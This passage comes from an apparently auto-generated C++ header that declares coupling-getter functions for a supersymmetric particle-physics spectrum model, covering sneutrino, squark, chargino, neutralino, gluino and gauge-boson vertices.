CpbarFveFeconjUHpmPR(int gO2) const;\n   double CpbarFveFeconjUHpmPL(int ) const;\n   double CpbarFvmFmconjUHpmPR(int gO2) const;\n   double CpbarFvmFmconjUHpmPL(int ) const;\n   double CpbarFvtFtauconjUHpmPR(int gO2) const;\n   double CpbarFvtFtauconjUHpmPL(int ) const;\n   double CpSveLSveLconjSveLconjSveL() const;\n   double CpSveLSvmLconjSveLconjSvmL() const;\n   double CpSveLSvtLconjSveLconjSvtL() const;\n   std::complex<double> CpSveLconjSveLVZVZ() const;\n   double CpSveLconjSveLconjVWmVWm() const;\n   double CpSveLconjSveLVZ() const;\n   std::complex<double> CpSveLAhAhconjSveL(int gI1, int gI2) const;\n   std::complex<double> CpSveLhhhhconjSveL(int gI1, int gI2) const;\n   std::complex<double> CpSveLHpmconjSveLconjHpm(int gI1, int gI2) const;\n   std::complex<double> CpSveLSbconjSveLconjSb(int gI1, int gI2) const;\n   std::complex<double> CpSveLScconjSveLconjSc(int gI1, int gI2) const;\n   std::complex<double> CpSveLSdconjSveLconjSd(int gI1, int gI2) const;\n   std::complex<double> CpSveLSeconjSveLconjSe(int gI1, int gI2) const;\n   std::complex<double> CpSveLSmconjSveLconjSm(int gI1, int gI2) const;\n   std::complex<double> CpSveLSsconjSveLconjSs(int gI1, int gI2) const;\n   std::complex<double> CpSveLStconjSveLconjSt(int gI1, int gI2) const;\n   std::complex<double> CpSveLStauconjSveLconjStau(int gI1, int gI2) const;\n   std::complex<double> CpSveLSuconjSveLconjSu(int gI1, int gI2) const;\n   std::complex<double> CpSeconjSveLconjHpm(int gI2, int gI1) const;\n   std::complex<double> CpbarChaFeconjSveLPR(int gI1) const;\n   std::complex<double> CpbarChaFeconjSveLPL(int gI1) const;\n   std::complex<double> CpSveLhhconjSveL(int gI2) const;\n   std::complex<double> CpSeconjSveLconjVWm(int gI2) const;\n   double CpChiFveconjSveLPR(int ) const;\n   std::complex<double> CpChiFveconjSveLPL(int gI2) const;\n   double CpSvmLSvmLconjSvmLconjSvmL() const;\n   double CpSvmLSvtLconjSvmLconjSvtL() const;\n   std::complex<double> CpSvmLconjSvmLVZVZ() const;\n   double CpSvmLconjSvmLconjVWmVWm() const;\n   double CpSvmLconjSvmLVZ() const;\n   std::complex<double> CpSvmLAhAhconjSvmL(int gI1, int gI2) const;\n   std::complex<double> CpSvmLhhhhconjSvmL(int gI1, int gI2) const;\n   std::complex<double> CpSvmLHpmconjSvmLconjHpm(int gI1, int gI2) const;\n   std::complex<double> CpSvmLSbconjSvmLconjSb(int gI1, int gI2) const;\n   std::complex<double> CpSvmLScconjSvmLconjSc(int gI1, int gI2) const;\n   std::complex<double> CpSvmLSdconjSvmLconjSd(int gI1, int gI2) const;\n   std::complex<double> CpSvmLSeconjSvmLconjSe(int gI1, int gI2) const;\n   std::complex<double> CpSvmLSmconjSvmLconjSm(int gI1, int gI2) const;\n   std::complex<double> CpSvmLSsconjSvmLconjSs(int gI1, int gI2) const;\n   std::complex<double> CpSvmLStconjSvmLconjSt(int gI1, int gI2) const;\n   std::complex<double> CpSvmLStauconjSvmLconjStau(int gI1, int gI2) const;\n   std::complex<double> CpSvmLSuconjSvmLconjSu(int gI1, int gI2) const;\n   std::complex<double> CpSmconjSvmLconjHpm(int gI2, int gI1) const;\n   std::complex<double> CpbarChaFmconjSvmLPR(int gI1) const;\n   std::complex<double> CpbarChaFmconjSvmLPL(int gI1) const;\n   std::complex<double> CpSvmLhhconjSvmL(int gI2) const;\n   std::complex<double> CpSmconjSvmLconjVWm(int gI2) const;\n   double CpChiFvmconjSvmLPR(int ) const;\n   std::complex<double> CpChiFvmconjSvmLPL(int gI2) const;\n   double CpSvtLSvtLconjSvtLconjSvtL() const;\n   std::complex<double> CpSvtLconjSvtLVZVZ() const;\n   double CpSvtLconjSvtLconjVWmVWm() const;\n   double CpSvtLconjSvtLVZ() const;\n   std::complex<double> CpSvtLAhAhconjSvtL(int gI1, int gI2) const;\n   std::complex<double> CpSvtLhhhhconjSvtL(int gI1, int gI2) const;\n   std::complex<double> CpSvtLHpmconjSvtLconjHpm(int gI1, int gI2) const;\n   std::complex<double> CpSvtLSbconjSvtLconjSb(int gI1, int gI2) const;\n   std::complex<double> CpSvtLScconjSvtLconjSc(int gI1, int gI2) const;\n   std::complex<double> CpSvtLSdconjSvtLconjSd(int gI1, int gI2) const;\n   std::complex<double> CpSvtLSeconjSvtLconjSe(int gI1, int gI2) const;\n   std::complex<double> CpSvtLSmconjSvtLconjSm(int gI1, int gI2) const;\n   std::complex<double> CpSvtLSsconjSvtLconjSs(int gI1, int gI2) const;\n   std::complex<double> CpSvtLStconjSvtLconjSt(int gI1, int gI2) const;\n   std::complex<double> CpSvtLStauconjSvtLconjStau(int gI1, int gI2) const;\n   std::complex<double> CpSvtLSuconjSvtLconjSu(int gI1, int gI2) const;\n   std::complex<double> CpStauconjSvtLconjHpm(int gI2, int gI1) const;\n   std::complex<double> CpbarChaFtauconjSvtLPR(int gI1) const;\n   std::complex<double> CpbarChaFtauconjSvtLPL(int gI1) const;\n   std::complex<double> CpSvtLhhconjSvtL(int gI2) const;\n   std::complex<double> CpStauconjSvtLconjVWm(int gI2) const;\n   double CpChiFvtconjSvtLPR(int ) const;\n   std::complex<double> CpChiFvtconjSvtLPL(int gI2) const;\n   std::complex<double> CpVGVGVG() const;\n   std::complex<double> CpbargGgGVG() const;\n   std::complex<double> CpSbconjSbVGVG(int gI1, int gI2) const;\n   std::complex<double> CpScconjScVGVG(int gI1, int gI2) const;\n   std::complex<double> CpSdconjSdVGVG(int gI1, int gI2) const;\n   std::complex<double> CpSsconjSsVGVG(int gI1, int gI2) const;\n   std::complex<double> CpStconjStVGVG(int gI1, int gI2) const;\n   std::complex<double> CpSuconjSuVGVG(int gI1, int gI2) const;\n   double CpSbconjSbVG(int gI2, int gI1) const;\n   double CpScconjScVG(int gI2, int gI1) const;\n   double CpSdconjSdVG(int gI2, int gI1) const;\n   double CpSsconjSsVG(int gI2, int gI1) const;\n   double CpStconjStVG(int gI2, int gI1) const;\n   double CpSuconjSuVG(int gI2, int gI1) const;\n   std::complex<double> CpGluGluVGPL() const;\n   std::complex<double> CpGluGluVGPR() const;\n   double CpbarFbFbVGPL() const;\n   double CpbarFbFbVGPR() const;\n   double CpbarFcFcVGPL() const;\n   double CpbarFcFcVGPR() const;\n   double CpbarFdFdVGPL() const;\n   double CpbarFdFdVGPR() const;\n   double CpbarFsFsVGPL() const;\n   double CpbarFsFsVGPR() const;\n   double CpbarFtFtVGPL() const;\n   double CpbarFtFtVGPR() const;\n   double CpbarFuFuVGPL() const;\n   double CpbarFuFuVGPR() const;\n   double CpVGVGVGVG1() const;\n   double CpVGVGVGVG2() const;\n   double CpVGVGVGVG3() const;\n   double CpbargWmgWmVP() const;\n   double CpbargWmCgWmCVP() const;\n   double CpconjVWmVPVWm() const;\n   double CpbarFeFeVPPL() const;\n   double CpbarFeFeVPPR() const;\n   double CpbarFmFmVPPL() const;\n   double CpbarFmFmVPPR() const;\n   double CpbarFtauFtauVPPL() const;\n   double CpbarFtauFtauVPPR() const;\n   std::complex<double> CpHpmconjHpmVPVP(int gI1, int gI2) const;\n   std::complex<double> CpSbconjSbVPVP(int gI1, int gI2) const;\n   std::complex<double> CpScconjScVPVP(int gI1, int gI2) const;\n   std::complex<double> CpSdconjSdVPVP(int gI1, int gI2) const;\n   std::complex<double> CpSeconjSeVPVP(int gI1, int gI2) const;\n   std::complex<double> CpSmconjSmVPVP(int gI1, int gI2) const;\n   std::complex<double> CpSsconjSsVPVP(int gI1, int gI2) const;\n   std::complex<double> CpStconjStVPVP(int gI1, int gI2) const;\n   std::complex<double> CpStauconjStauVPVP(int gI1, int gI2) const;\n   std::complex<double> CpSuconjSuVPVP(int gI1, int gI2) const;\n   double CpHpmconjHpmVP(int gI2, int gI1) const;\n   std::complex<double> CpSbconjSbVP(int gI2, int gI1) const;\n   std::complex<double> CpScconjScVP(int gI2, int gI1) const;\n   std::complex<double> CpSdconjSdVP(int gI2, int gI1) const;\n   std::complex<double> CpSeconjSeVP(int gI2, int gI1) const;\n   std::complex<double> CpSmconjSmVP(int gI2, int gI1) const;\n   std::complex<double> CpSsconjSsVP(int gI2, int gI1) const;\n   std::complex<double> CpStconjStVP(int gI2, int gI1) const;\n   std::complex<double> CpStauconjStauVP(int gI2, int gI1) const;\n   std::complex<double> CpSuconjSuVP(int gI2, int gI1) const;\n   std::complex<double> CpbarChaChaVPPL(int gI1, int gI2) const;\n   std::complex<double> CpbarChaChaVPPR(int gI1, int gI2) const;\n   std::complex<double> CpHpmconjVWmVP(int gI2) const;\n   double CpbarFbFbVPPL() const;\n   double CpbarFbFbVPPR() const;\n   double CpbarFcFcVPPL() const;\n   double CpbarFcFcVPPR() const;\n   double CpbarFdFdVPPL() const;\n   double CpbarFdFdVPPR() const;\n   double CpbarFsFsVPPL() const;\n   double CpbarFsFsVPPR() const;\n   double CpbarFtFtVPPL() const;\n   double CpbarFtFtVPPR() const;\n   double CpbarFuFuVPPL() const;\n   double CpbarFuFuVPPR() const;\n   double CpconjVWmVPVPVWm1() const;\n   double CpconjVWmVPVPVWm2() const;\n   double CpconjVWmVPVPVWm3() const;\n   double CpbargWmgWmVZ() const;\n   double CpbargWmCgWmCVZ() const;\n   double CpconjVWmVWmVZ() const;\n   double CpbarFeFeVZPL() const;\n   double CpbarFeFeVZPR() const;\n   double CpbarFmFmVZPL() const;\n   double CpbarFmFmVZPR() const;\n   double CpbarFtauFtauVZPL() const;\n   double CpbarFtauFtauVZPR() const;\n   double CpbarFveFveVZPL() const;\n   double CpbarFveFveVZPR() const;\n   double CpbarFvmFvmVZPL() const;\n   double CpbarFvmFvmVZPR() const;\n   double CpbarFvtFvtVZPL() const;\n   double CpbarFvtFvtVZPR() const;\n   std::complex<double> CpAhAhVZVZ(int gI1, int gI2) const;\n   std::complex<double> CphhhhVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpHpmconjHpmVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpSbconjSbVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpScconjScVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpSdconjSdVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpSeconjSeVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpSmconjSmVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpSsconjSsVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpStconjStVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpStauconjStauVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpSuconjSuVZVZ(int gI1, int gI2) const;\n   std::complex<double> CpAhhhVZ(int gI2, int gI1) const;\n   double CpHpmconjHpmVZ(int gI2, int gI1) const;\n   std::complex<double> CpSbconjSbVZ(int gI2, int gI1) const;\n   std::complex<double> CpScconjScVZ(int gI2, int gI1) const;\n   std::complex<double> CpSdconjSdVZ(int gI2, int gI1) const;\n   std::complex<double> CpSeconjSeVZ(int gI2, int gI1) const;\n   std::complex<double> CpSmconjSmVZ(int gI2, int gI1) const;\n   std::complex<double> CpSsconjSsVZ(int gI2, int gI1) const;\n   std::complex<double> CpStconjStVZ(int gI2, int gI1) const;\n   std::complex<double> CpStauconjStauVZ(int gI2, int gI1) const;\n   std::complex<double> CpSuconjSuVZ(int gI2, int gI1) const;\n   std::complex<double> CpbarChaChaVZPL(int gI1, int gI2) const;\n   std::complex<double> CpbarChaChaVZPR(int gI1, int gI2) const;\n   std::complex<double> CpChiChiVZPL(int gI1, int gI2) const;\n   std::complex<double> CpChiChiVZPR(int gI1, int gI2) const;\n   std::complex<double> CphhVZVZ(int gI2) const;\n   std::complex<double> CpHpmconjVWmVZ(int gI2) const;\n   double CpbarFbFbVZPL() const;\n   double CpbarFbFbVZPR() const;\n   double CpbarFcFcVZPL() const;\n   double CpbarFcFcVZPR() const;\n   double CpbarFdFdVZPL() const;\n   double CpbarFdFdVZPR() const;\n   double CpbarFsFsVZPL() const;\n   double CpbarFsFsVZPR() const;\n   double CpbarFtFtVZPL() const;\n   double CpbarFtFtVZPR() const;\n   double CpbarFuFuVZPL() const;\n   double CpbarFuFuVZPR() const;\n   double CpconjVWmVWmVZVZ1() const;\n   double CpconjVWmVWmVZVZ2() const;\n   double CpconjVWmVWmVZVZ3() const;\n   double CpbargPgWmconjVWm() const;\n   double CpbargWmCgPconjVWm() const;\n   double CpbargWmCgZconjVWm() const;\n   double CpbargZgWmconjVWm() const;\n   double CpbarFveFeconjVWmPL() const;\n   double CpbarFveFeconjVWmPR() const;\n   double CpbarFvmFmconjVWmPL() const;\n   double CpbarFvmFmconjVWmPR() const;\n   double CpbarFvtFtauconjVWmPL() const;\n   double CpbarFvtFtauconjVWmPR() const;\n   std::complex<double> CpAhAhconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CphhhhconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpHpmconjHpmconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpSbconjSbconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpScconjScconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpSdconjSdconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpSeconjSeconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpSmconjSmconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpSsconjSsconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpStconjStconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpStauconjStauconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpSuconjSuconjVWmVWm(int gI1, int gI2) const;\n   std::complex<double> CpAhHpmconjVWm(int gI2, int gI1) const;\n   std::complex<double> CphhHpmconjVWm(int gI2, int gI1) const;\n   std::complex<double> CpSbconjStconjVWm(int gI2, int gI1) const;\n   std::complex<double> CpSdconjSuconjVWm(int gI2, int gI1) const;\n   std::complex<double> CpSsconjScconjVWm(int gI2, int gI1) const;\n   std::complex<double> CpChiChaconjVWmPL(int gI1, int gI2) const;\n   std::complex<double> CpChiChaconjVWmPR(int gI1, int gI2) const;\n   std::complex<double> CphhconjVWmVWm(int gI2) const;\n   double CpbarFcFsconjVWmPL() const;\n   double CpbarFcFsconjVWmPR() const;\n   double CpbarFtFbconjVWmPL() const;\n   double CpbarFtFbconjVWmPR() const;\n   double CpbarFuFdconjVWmPL() const;\n   double CpbarFuFdconjVWmPR() const;\n   double CpconjVWmconjVWmVWmVWm1() const;\n   double CpconjVWmconjVWmVWmVWm2() const;\n   double CpconjVWmconjVWmVWmVWm3() const;\n   std::complex<double> CpbarChaUChiHpmPL(int gI1, int gO2, int gI2) const;\n   std::complex<double> CpbarChaUChiHpmPR(int gI1, int gO1, int gI2) const;\n   std::complex<double> CpUChiChaconjHpmPL(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpUChiChaconjHpmPR(int gO1, int gI2, int gI1) const;\n   std::complex<double> CpChiUChihhPL(int gI2, int gO2, int gI1) const;\n   std::complex<double> CpChiUChihhPR(int gI2, int gO1, int gI1) const;\n   std::complex<double> CpbarChaUChiVWmPL(int gI1, int gO2) const;\n   std::complex<double> CpbarChaUChiVWmPR(int gI1, int gO1) const;\n   std::complex<double> CpUChiFbconjSbPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFbconjSbPR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFcconjScPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFcconjScPR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFdconjSdPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFdconjSdPR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFeconjSePL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFeconjSePR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFmconjSmPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFmconjSmPR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFsconjSsPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFsconjSsPR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFtconjStPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFtconjStPR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFtauconjStauPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFtauconjStauPR(int gO1, int gI1) const;\n   std::complex<double> CpUChiFuconjSuPL(int gO2, int gI1) const;\n   std::complex<double> CpUChiFuconjSuPR(int gO1, int gI1) const;\n   std::complex<double> CpChiUChiAhPL(int gI1, int gO2, int gI2) const;\n   std::complex<double> CpChiUChiAhPR(int gI1, int gO1, int gI2) const;\n   std::complex<double> CpbarFbUChiSbPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFbUChiSbPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFcUChiScPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFcUChiScPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFdUChiSdPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFdUChiSdPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFeUChiSePL(int gO2, int gI2) const;\n   std::complex<double> CpbarFeUChiSePR(int gO1, int gI2) const;\n   std::complex<double> CpbarFmUChiSmPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFmUChiSmPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFsUChiSsPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFsUChiSsPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFtUChiStPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFtUChiStPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFtauUChiStauPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFtauUChiStauPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFuUChiSuPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFuUChiSuPR(int gO1, int gI2) const;\n   std::complex<double> CpUChiChaconjVWmPR(int gO2, int gI2) const;\n   std::complex<double> CpUChiChaconjVWmPL(int gO1, int gI2) const;\n   std::complex<double> CpChiUChiVZPL(int gI2, int gO2) const;\n   std::complex<double> CpChiUChiVZPR(int gI2, int gO1) const;\n   double CpbarFveUChiSveLPL(int ) const;\n   std::complex<double> CpbarFveUChiSveLPR(int gO1) const;\n   double CpbarFvmUChiSvmLPL(int ) const;\n   std::complex<double> CpbarFvmUChiSvmLPR(int gO1) const;\n   double CpbarFvtUChiSvtLPL(int ) const;\n   std::complex<double> CpbarFvtUChiSvtLPR(int gO1) const;\n   std::complex<double> CpUChiFveconjSveLPL(int gO2) const;\n   double CpUChiFveconjSveLPR(int ) const;\n   std::complex<double> CpUChiFvmconjSvmLPL(int gO2) const;\n   double CpUChiFvmconjSvmLPR(int ) const;\n   std::complex<double> CpUChiFvtconjSvtLPL(int gO2) const;\n   double CpUChiFvtconjSvtLPR(int ) const;\n   std::complex<double> CpbarUChaChaAhPL(int gO2, int gI1, int gI2) const;\n   std::complex<double> CpbarUChaChaAhPR(int gO1, int gI1, int gI2) const;\n   std::complex<double> CpbarUChaChahhPL(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpbarUChaChahhPR(int gO1, int gI2, int gI1) const;\n   std::complex<double> CpbarUChaChiHpmPL(int gO2, int gI2, int gI1) const;\n   std::complex<double> CpbarUChaChiHpmPR(int gO1, int gI2, int gI1) const;\n   std::complex<double> CpbarUChaFbconjStPL(int gO2, int gI1) const;\n   std::complex<double> CpbarUChaFbconjStPR(int gO1, int gI1) const;\n   std::complex<double> CpbarUChaFdconjSuPL(int gO2, int gI1) const;\n   std::complex<double> CpbarUChaFdconjSuPR(int gO1, int gI1) const;\n   std::complex<double> CpbarUChaFsconjScPL(int gO2, int gI1) const;\n   std::complex<double> CpbarUChaFsconjScPR(int gO1, int gI1) const;\n   std::complex<double> CpbarFcbarUChaSsPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFcbarUChaSsPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFtbarUChaSbPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFtbarUChaSbPR(int gO1, int gI2) const;\n   std::complex<double> CpbarFubarUChaSdPL(int gO2, int gI2) const;\n   std::complex<double> CpbarFubarUChaSdPR(int gO1, int gI2) const;\n   double CpbarFvebarUChaSePL(int , int ) const;\n   std::complex<double> CpbarFvebarUChaSePR(int gO1, int gI2) const;\n   double CpbarFvmbarUChaSmPL(int , int ) const;\n   std::complex<double> CpbarFvmbarUChaSmPR(int gO1, int gI2) const;\n   double CpbarFvtbarUChaStauPL(int , int ) const;\n   std::complex<double> CpbarFvtbarUChaStauPR(int gO1, int gI2) const;\n   std::complex<double> CpbarUChaChaVPPR(int gO2, int gI2) const;\n   std::complex<double> CpbarUChaChaVPPL(int gO1, int gI2) const;\n   std::complex<double> CpbarUChaChaVZPR(int gO2, int gI2) const;\n   std::complex<double> CpbarUChaChaVZPL(int gO1, int gI2) const;\n   std::complex<double> CpbarUChaChiVWmPR(int gO2, int gI2) const;\n   std::complex<double> CpbarUChaChiVWmPL(int gO1, int gI2) const;\n   double CpbarUChaFeconjSveLPL(int gO2) const;\n   double CpbarUChaFeconjSveLPR(int gO1) const;\n   double CpbarUChaFmconjSvmLPL(int gO2) const;\n   double CpbarUChaFmconjSvmLPR(int gO1) const;\n   double CpbarUChaFtauconjSvtLPL(int gO2) const;\n   double CpbarUChaFtauconjSvtLPR(int gO1) const;\n   std::complex<double> CpGluFbconjSbPL(int gI1) const;\n   std::complex<double> CpGluFbconjSbPR(int gI1) const;\n   std::complex<double> CpGluFcconjScPL(int gI1) const;\n   std::complex<double> CpGluFcconjScPR(int gI1) const;\n   std::complex<double> CpGluFdconjSdPL(int gI1) const;\n   std::complex<double> CpGluFdconjSdPR(int gI1) const;\n   std::complex<double> CpGluFsconjSsPL(int gI1) const;\n   std::complex<double> CpGluFsconjSsPR(int gI1) const;\n   std::complex<double> CpGluFtconjStPL(int gI1) const;\n   std::complex<double> CpGluFtconjStPR(int gI1) const;\n   std::complex<double> CpGluFuconjSuPL(int gI1) const;\n   std::complex<double> CpGluFuconjSuPR(int gI1) const;\n   std::complex<double> CpbarFbGluSbPL(int gI2) const;\n   std::complex<double> CpbarFbGluSbPR(int gI2) const;\n   std::complex<double> CpbarFcGluScPL(int gI2) const;\n   std::complex<double> CpbarFcGluScPR(int gI2) const;\n   std::complex<double> CpbarFdGluSdPL(int gI2) const;\n   std::complex<double> CpbarFdGluSdPR(int gI2) const;\n   std::complex<double> CpbarFsGluSsPL(int gI2) const;\n   std::complex<double> CpbarFsGluSsPR(int gI2) const;\n   std::complex<double> CpbarFtGluStPL(int gI2) const;\n   std::complex<double> CpbarFtGluStPR(int gI2) const;\n   std::complex<double> CpbarFuGluSuPL(int gI2) const;\n   std::complex<double> CpbarFuGluSuPR(int gI2) const;\n   std::complex<double> CpbarFdChaSuPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFdChaSuPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFdChiSdPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFdChiSdPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFdFdhhPL(int gI1) const;\n   std::complex<double> CpbarFdFdhhPR(int gI1) const;\n   std::complex<double> CpbarFdFuHpmPL(int gI1) const;\n   std::complex<double> CpbarFdFuHpmPR(int gI1) const;\n   std::complex<double> CpbarFdFdAhPL(int gI2) const;\n   std::complex<double> CpbarFdFdAhPR(int gI2) const;\n   double CpbarFdFuVWmPR() const;\n   double CpbarFdFuVWmPL() const;\n   std::complex<double> CpbarFsChaScPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFsChaScPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFsChiSsPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFsChiSsPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFsFcHpmPL(int gI1) const;\n   std::complex<double> CpbarFsFcHpmPR(int gI1) const;\n   std::complex<double> CpbarFsFshhPL(int gI1) const;\n   std::complex<double> CpbarFsFshhPR(int gI1) const;\n   std::complex<double> CpbarFsFsAhPL(int gI2) const;\n   std::complex<double> CpbarFsFsAhPR(int gI2) const;\n   double CpbarFsFcVWmPR() const;\n   double CpbarFsFcVWmPL() const;\n   std::complex<double> CpbarFbChaStPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFbChaStPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFbChiSbPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFbChiSbPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFbFbhhPL(int gI1) const;\n   std::complex<double> CpbarFbFbhhPR(int gI1) const;\n   std::complex<double> CpbarFbFtHpmPL(int gI1) const;\n   std::complex<double> CpbarFbFtHpmPR(int gI1) const;\n   std::complex<double> CpbarFbFbAhPL(int gI2) const;\n   std::complex<double> CpbarFbFbAhPR(int gI2) const;\n   double CpbarFbFtVWmPR() const;\n   double CpbarFbFtVWmPL() const;\n   std::complex<double> CpbarFubarChaSdPL(int gI1, int gI2) const;\n   std::complex<double> CpbarFubarChaSdPR(int gI1, int gI2) const;\n   std::complex<double> CpbarFuChiSuPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFuChiSuPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFuFdconjHpmPL(int gI1) const;\n   std::complex<double> CpbarFuFdconjHpmPR(int gI1) const;\n   std::complex<double> CpbarFuFuhhPL(int gI1) const;\n   std::complex<double> CpbarFuFuhhPR(int gI1) const;\n   std::complex<double> CpbarFuFuAhPL(int gI2) const;\n   std::complex<double> CpbarFuFuAhPR(int gI2) const;\n   std::complex<double> CpbarFcbarChaSsPL(int gI1, int gI2) const;\n   std::complex<double> CpbarFcbarChaSsPR(int gI1, int gI2) const;\n   std::complex<double> CpbarFcChiScPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFcChiScPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFcFchhPL(int gI1) const;\n   std::complex<double> CpbarFcFchhPR(int gI1) const;\n   std::complex<double> CpbarFcFsconjHpmPL(int gI1) const;\n   std::complex<double> CpbarFcFsconjHpmPR(int gI1) const;\n   std::complex<double> CpbarFcFcAhPL(int gI2) const;\n   std::complex<double> CpbarFcFcAhPR(int gI2) const;\n   std::complex<double> CpbarFtbarChaSbPL(int gI1, int gI2) const;\n   std::complex<double> CpbarFtbarChaSbPR(int gI1, int gI2) const;\n   std::complex<double> CpbarFtChiStPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFtChiStPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFtFbconjHpmPL(int gI1) const;\n   std::complex<double> CpbarFtFbconjHpmPR(int gI1) const;\n   std::complex<double> CpbarFtFthhPL(int gI1) const;\n   std::complex<double> CpbarFtFthhPR(int gI1) const;\n   std::complex<double> CpbarFtFtAhPL(int gI2) const;\n   std::complex<double> CpbarFtFtAhPR(int gI2) const;\n   double CpbarFvebarChaSePL(int , int ) const;\n   std::complex<double> CpbarFvebarChaSePR(int gI1, int gI2) const;\n   double CpbarFveFeconjHpmPL(int ) const;\n   std::complex<double> CpbarFveFeconjHpmPR(int gI1) const;\n   double CpbarFveChiSveLPL(int ) const;\n   std::complex<double> CpbarFveChiSveLPR(int gI2) const;\n   double CpbarFvmbarChaSmPL(int , int ) const;\n   std::complex<double> CpbarFvmbarChaSmPR(int gI1, int gI2) const;\n   double CpbarFvmFmconjHpmPL(int ) const;\n   std::complex<double> CpbarFvmFmconjHpmPR(int gI1) const;\n   double CpbarFvmChiSvmLPL(int ) const;\n   std::complex<double> CpbarFvmChiSvmLPR(int gI2) const;\n   double CpbarFvtbarChaStauPL(int , int ) const;\n   std::complex<double> CpbarFvtbarChaStauPR(int gI1, int gI2) const;\n   double CpbarFvtFtauconjHpmPL(int ) const;\n   std::complex<double> CpbarFvtFtauconjHpmPR(int gI1) const;\n   double CpbarFvtChiSvtLPL(int ) const;\n   std::complex<double> CpbarFvtChiSvtLPR(int gI2) const;\n   std::complex<double> CpbarFeChiSePL(int gI2, int gI1) const;\n   std::complex<double> CpbarFeChiSePR(int gI2, int gI1) const;\n   std::complex<double> CpbarFeFehhPL(int gI1) const;\n   std::complex<double> CpbarFeFehhPR(int gI1) const;\n   std::complex<double> CpbarFeFveHpmPL(int gI1) const;\n   double CpbarFeFveHpmPR(int ) const;\n   std::complex<double> CpbarFeFeAhPL(int gI2) const;\n   std::complex<double> CpbarFeFeAhPR(int gI2) const;\n   std::complex<double> CpbarFeChaSveLPL(int gI2) const;\n   std::complex<double> CpbarFeChaSveLPR(int gI2) const;\n   double CpbarFeFveVWmPR() const;\n   double CpbarFeFveVWmPL() const;\n   std::complex<double> CpbarFmChiSmPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFmChiSmPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFmFmhhPL(int gI1) const;\n   std::complex<double> CpbarFmFmhhPR(int gI1) const;\n   std::complex<double> CpbarFmFvmHpmPL(int gI1) const;\n   double CpbarFmFvmHpmPR(int ) const;\n   std::complex<double> CpbarFmFmAhPL(int gI2) const;\n   std::complex<double> CpbarFmFmAhPR(int gI2) const;\n   std::complex<double> CpbarFmChaSvmLPL(int gI2) const;\n   std::complex<double> CpbarFmChaSvmLPR(int gI2) const;\n   double CpbarFmFvmVWmPR() const;\n   double CpbarFmFvmVWmPL() const;\n   std::complex<double> CpbarFtauChiStauPL(int gI2, int gI1) const;\n   std::complex<double> CpbarFtauChiStauPR(int gI2, int gI1) const;\n   std::complex<double> CpbarFtauFtauhhPL(int gI1) const;\n   std::complex<double> 